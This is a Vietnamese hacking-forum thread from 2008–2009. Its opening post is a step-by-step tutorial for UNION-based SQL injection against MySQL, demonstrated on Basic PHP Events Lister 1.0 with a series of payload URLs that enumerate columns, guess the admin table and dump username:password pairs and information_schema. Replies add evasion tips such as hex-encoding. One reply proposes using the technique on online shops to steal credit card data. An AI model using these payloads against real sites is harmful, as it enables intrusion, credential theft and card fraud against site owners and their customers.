[Article] Hướng dẫn khai thác SQL Injection đối với MySQL |
23/09/2008 23:44:27 (+0700) | #1 | 152645 |
seamoun
Advisor
|
Joined: 04/01/2002 14:05:10
Messages: 357
Offline
|
|
I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL
Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0
Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1
Thực hiện thêm dấu ' sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1'
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau:
Code:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37
Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì?
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau.
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được).
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường.
Lần lượt mình thử:
Code:
http://seamoun.com/phpevents/event.php?id=1 order by 1
http://seamoun.com/phpevents/event.php?id=1 order by 2
http://seamoun.com/phpevents/event.php?id=1 order by 3
...
http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)
http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)
Như vậy truy vấn SQL với URL trên là 15 trường (field)
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau
Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1
Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như
manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau:
Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được.
Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau
Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu
http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với
2 trường uname và pword + tên bảng là admin
Thực hiện lệnh:
Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.
Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass
Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword.
0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi
Đến đây ta đã có thông tin uname và pword.
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau
Code:
Điều tra thông tin bảng:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables
Điều tra thông tin trường:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns
Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin
II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com)
Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL - Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.
|
|
--vickigroup.com-- |
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
01/10/2008 05:53:34 (+0700) | #2 | 153463 |
seamoun
Advisor
|
Joined: 04/01/2002 14:05:10
Messages: 357
Offline
|
|
Trên milw0rm có bài viết (Introduction to SQL injection - gửi ngày 2008-09-28) : http://milw0rm.com/papers/225. Có giới thiệu thêm một số hàm và một số phương thức có thể lấy thông tin về table, column như sử dụng group_concat, ...
Các bạn có thể đọc thêm để tham khảo |
|
--vickigroup.com-- |
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
01/10/2008 11:09:50 (+0700) | #3 | 153488 |
flier_vn
Member
|
0 |
|
|
Joined: 15/07/2008 01:13:39
Messages: 28
Offline
|
|
Em có trường hợp này, mong a e góp ý hướng đi !
Em đã có được password của các user mysql ! Nhưng dạng "localhost@user" vậy ngoài việc mò trùng pass với các thứ khác ra thì còn có hướng nào nữa ko ???
bài viết http://milw0rm.com/papers/225 vẫn chưa có gì mới lạ !
Thx ! |
|
MerChant.Vn - Website học hỏi, trao đổi thảo luận về kinh doanh.
DànhChoBé.VN - Chuyên bán đồ chơi chất lượng, thương hiệu Fisher price, Disney, Thomas & Friends |
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
07/10/2008 18:23:56 (+0700) | #4 | 154254 |
CK
Member
|
0 |
|
|
Joined: 17/02/2008 03:14:35
Messages: 22
Location: vn
Offline
|
|
Hình như có thêm nhiều cái hay ho trong bảng information_schema của mysql 5 mà anh? Với cả em thấy select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ... không hay bằng select 1,2,3 .... |
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
07/10/2008 21:35:08 (+0700) | #5 | 154260 |
|
louisnguyen27
Member
|
0 |
|
|
Joined: 12/08/2008 18:04:41
Messages: 321
Offline
|
|
@seamoun như vậy social engineering là rất quan trọng trong việc khai thác lỗi. Có khi nào đoán hoài mà vẫn không ra tên bảng và các trường không? |
|
Q+SBtZW1iZXIgb2YgSFZ+B
Back to Linux soon!!! |
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
09/10/2008 23:57:29 (+0700) | #6 | 154610 |
KuNghi
Member
|
0 |
|
|
Joined: 26/07/2007 02:18:00
Messages: 11
Offline
|
|
Tớ có khai thác thì tớ tìm version SQK trước Nếu SQL Version
<5 : thì đoán table & column
>5 thì truy vấn đến table
information_schema.tables where table_schema=database()
để tìm table thôi, cứ vậy tìm đc table thì lấy columns
information_schema.columns where table_name=[ten table]
[ten_table] : cần hex đi
|
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
10/11/2008 04:27:25 (+0700) | #7 | 158253 |
|
h0ainiemdauyeu
Member
|
0 |
|
|
Joined: 08/11/2008 23:40:35
Messages: 1
Offline
|
|
lỗi này bây giờ đã fix hết rồi ,kiếm site bị lỗi kiểu này thực tập khó quá |
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
10/11/2008 05:01:40 (+0700) | #8 | 158257 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
Ko lẽ cứ thực tập phải kiếm site bị bug ?
Để gắn lên dòng hacked by xxx cho nó sướng chăng ? |
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
19/02/2009 05:28:03 (+0700) | #9 | 169968 |
khovingu89
Member
|
0 |
|
|
Joined: 24/02/2008 22:08:27
Messages: 14
Offline
|
|
lỗi này giờ dính vẫn rất nhiều.......Bao nhiêu công ty việt nam dính chỉ nhưng website cá nhân ai hay lần mò thì ít bị hơn |
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
05/03/2009 17:27:52 (+0700) | #10 | 171987 |
tinios
Member
|
0 |
|
|
Joined: 27/02/2009 18:00:44
Messages: 22
Offline
|
|
mọi người cho em hỏi giả sử em có các bảng như sau
Code:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,bangkhen,chitiethd,codong,codong_EN,counter,download,download_EN,hoadon,khachhang,lienhe,link,menudownlo
em sử dụng câu truy vấn http://www.site.com/index.php/id=6 union select 1,2,3,column_name,5 from information_shema.columns where table_name=""-- ==> thì nó báo lổi vậy thì em sai ở bước nào vậy? |
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
06/03/2009 04:55:20 (+0700) | #11 | 172027 |
FDN
Member
|
0 |
|
|
Joined: 20/11/2008 13:54:50
Messages: 6
Offline
|
|
This post is set hidden by a moderator because it may be violating forum's guideline or it needs modification before setting visible to members. |
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
28/05/2009 08:26:06 (+0700) | #12 | 182166 |
congrallion
Member
|
0 |
|
|
Joined: 09/02/2007 18:05:09
Messages: 4
Offline
|
|
tinios wrote:
mọi người cho em hỏi giả sử em có các bảng như sau
Code:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,bangkhen,chitiethd,codong,codong_EN,counter,download,download_EN,hoadon,khachhang,lienhe,link,menudownlo
em sử dụng câu truy vấn http://www.site.com/index.php/id=6 union select 1,2,3,column_name,5 from information_shema.columns where table_name=""-- ==> thì nó báo lổi vậy thì em sai ở bước nào vậy?
tớ nghĩ cậu nên hex cái table_name lên thì được á.
Code:
......from information_shema.columns where table_name=0x[table_name đã hex]
|
|
|
|
|
[Question] Re: Hướng dẫn khai thác SQL Injection đối với MySQL |
28/05/2009 13:59:08 (+0700) | #13 | 182195 |
thanhluan13
Member
|
0 |
|
|
Joined: 20/09/2006 15:47:05
Messages: 5
Offline
|
|
Lỗi này có cách hack lâu rồi mà, cái này ứng dụng vào get shop để lấy cc chùa đây mà. Bây giờ công nhận là nhiều trang còn lỗi này, nhưng sau khi thâm nhập, lấy được thông tin từ Database thì mật khẩu admin bị mã hóa hết. Các thông tin cần bảo mật cũng bị thay thế. VD : 5487921635487= "/////////////". Bác nào đưa ra cách thâm nhập chiếm đoạt toàn quyền thông tin. Dành cho newbie nhé. Thanks ! |
|
|
|
|
[Article] Hướng dẫn khai thác SQL Injection đối với MySQL |
04/06/2009 22:34:51 (+0700) | #14 | 182775 |
MrKenichi
Member
|
0 |
|
|
Joined: 10/11/2007 14:12:49
Messages: 7
Offline
|
|
firefox cho addons là hackbar rất tiện khi sql injection(inbound) . Load URL và chèn union select column ... |
|
|
|
|
[Article] Hướng dẫn khai thác SQL Injection đối với MySQL |
05/06/2009 00:59:51 (+0700) | #15 | 182787 |
nbthanh
HVA Friend
|
Joined: 21/12/2001 14:51:51
Messages: 429
Offline
|
|
Bài viết rất hay và xúc tích! Đây là 1 ví dụ kinh điển nhất cho
- "muốn hack thì phải GIỎI những thứ CĂN BẢN / NỀN TẢNG trước như lập trình, SQL, v.v..."
- và "khi đã GIỎI những thứ CĂN BẢN / NỀN TẢNG rồi thì tự nhiên sẽ biết hack"
Chẳng hạn như không biết lập trình, không biết SQL, không biết những thứ nền tảng này thì có biết site bị lỗi cũng không biết đường nào mà khai thác. |
|
|
|
|
[Article] Hướng dẫn khai thác SQL Injection đối với MySQL |
08/06/2009 22:54:22 (+0700) | #16 | 183054 |
clackent
Member
|
0 |
|
|
Joined: 29/08/2008 22:55:41
Messages: 7
Offline
|
|
có điều này em chưa hiểu là tại sao lúc ta dùng lệnh order by 10 ==true
vậy mà khi dùng union select 1,2,3,4,5,6,7,8,9,10-- thì ra
The used SELECT statements have a different number of columns.
phải chăng cái này thì chỉ dùng blind sql .
hình như cái này chỉ có MySQL <5 thì bị đúng không ah. |
|
|
[Article] Hướng dẫn khai thác SQL Injection đối với MySQL |
09/06/2009 02:54:21 (+0700) | #17 | 183074 |
|
hoahongtim
Researcher
|
Joined: 15/07/2002 02:59:49
Messages: 156
Location: Underground
Offline
|
|
MySQL không support multi query, khi bạn order thì nó true, nhưng khi dùng UNION thì có lẽ là không được, với dạng multi query thì có lẽ dùng kỷ thuật blind là hợp lý. MySQLI thì lại có multi query |
|
|
[Article] Hướng dẫn khai thác SQL Injection đối với MySQL |
18/06/2009 13:36:38 (+0700) | #18 | 183883 |
khovingu89
Member
|
0 |
|
|
Joined: 24/02/2008 22:08:27
Messages: 14
Offline
|
|
SQL bị lỗi hack cũng giễ thôi mà khó là khó cái đoạn crack md5 và tìm link admin |
|
|
|